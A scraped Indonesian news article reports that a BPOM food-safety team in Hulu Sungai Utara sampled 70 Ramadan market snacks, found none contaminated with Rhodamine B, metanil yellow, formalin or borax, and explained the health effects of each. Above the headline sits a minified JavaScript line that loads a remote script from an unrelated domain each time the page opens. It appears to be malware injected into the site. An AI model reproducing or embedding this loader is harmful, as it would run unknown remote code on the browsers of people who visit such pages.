(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BPOM HSU Gelar Razia Makanan di Sejumlah Pasar Ramadhan


AMUNTAI, Badan Pengawas Obat dan Makanan (BPOM) Kabupaten Hulu Sungai Utara (HSU) menggelar razia makanan takjil di sejumlah pasar Ramadhan.

Razia makanan dalam rangka intensifikasi pengawasan pangan dilakukan BPOM HSU bersama dengan Dinas Kesehatan HSU dan Dinas Perindustrian, Perdagangan, Koperasi dan UKM (Disperindagkop-UKM) Hulu Sungai Utara, Kamis (15/5)

Selah melakukan sampling, tim mendapatkan 70 sampel kue (wadai) dari beberapa pasar Ramadhan didaerah HSU meliputi Pasar di kawasan Sungai Malang, Pasar Ramadhan Kota Amuntai, Pasar Senin Kecamatan Amuntai tengah, Pasar Ramadhan di daerah Alabio, dan lainnya.

“Dari total 70 sampel yang kami dapatkan  semuanya negatif mengandung bahan berbahaya, bahan berbahaya tersebut antara lain Rhodamin B, Metanil Yellow, Formalin, dan Boraks,” ungkap Ketua tim Winda Intan Novalia.

Dalam kesempatan tersebut BPOM HSU bersama tim juga mensosialisasikan dampak negatif bahan-bahan berbahaya bagi kesehatan kepada para pedagang jika digunakan pada makanan. Seperti Rhodamin B dan Metanil Yellow adalah zat warna untuk kertas, tekstil, sabun, kayu dan kulit, jika tertelan dapat menyebabkan iritasi pada saluran pencernaan dan jika terpapar pada bibir dapat menyebabkan bibir pecah-pecah, kering, gatal, bahkan kulit bibir terkelupas.

Sedangkan Formalin adalah bahan perekat untuk kayu lapis dan disenfektan untuk peralatan Rumah Sakit serta untuk pengawet mayat. “Formalin sangat berbahaya jika terhirup, mengenai kulit dan tertelan, jika terhirup dapat menyebabkan iritasi saluran pernafasan, jika mengenai kulit dapat menyebabkan luka bakar, reaksi alergi, jika tertelan akan menyebabkan rasa terbakar pada mulut, tenggorokan dan perut, sakit menelan, mual dan muntah, sakit kepala, kejang hingga koma. Dapat pula merusak hati, jantung, otak, ginjal, syaraf,” sambungnya

Adapun zat berbahaya lain seperti Boraks, adalah merupakan bahan yang biasanya pembuat deterjen, yang jika terhirup,mengenai kulit, mata dan tertelan mengakibatkan iritasi pada saluran pencernaan, iritasi pada kulit dan mata, mual, sakit kepala, nyeri hebat pada perut bagian atas. (dew)

Reporter: Dew
Editor: Chell

Desy Arfianty

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

3 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

5 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

10 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

13 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

15 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

15 jam ago

This website uses cookies.